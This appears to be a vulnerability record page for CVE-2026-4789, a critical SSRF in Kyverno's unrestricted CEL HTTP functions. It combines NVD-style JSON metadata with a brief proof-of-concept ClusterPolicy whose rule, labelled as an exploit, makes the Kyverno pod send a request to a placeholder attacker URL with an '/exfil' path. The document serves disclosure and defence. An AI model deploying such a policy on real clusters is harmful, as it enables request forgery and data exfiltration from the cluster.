CVE-2026-4789

apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: cve-2026-4789-ssrf-poc spec: validationFailureAction: Audit background: true rules: - name: trigger-ssrf match: resources: kinds: - Pod validate: cel: expressions: # Exploit: Send HTTP request from Kyverno pod to attacker controlled server - expression: "http.get('http://<ATTACKER_URL>/exfil').status == 200" message: "SSRF request sent successfully"

{"cve": {"id": "CVE-2026-4789", "sourceIdentifier": "[email protected]", "published": "2026-03-30T21:17:10.843", "lastModified": "2026-04-03T18:17:51.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions."}, {"lang": "es", "value": "Kyverno, versiones 1.16.0 y posteriores, son vulnerables a SSRF debido a funciones HTTP CEL sin restricciones."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.16.0", "versionEndIncluding": "1.17.1", "matchCriteriaId": "F2E0715F-61DE-45F5-840E-06CF5C468D33"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://kb.cert.org/vuls/id/655822", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://portswigger.net/web-security/ssrf", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://www.kb.cert.org/vuls/id/655822", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}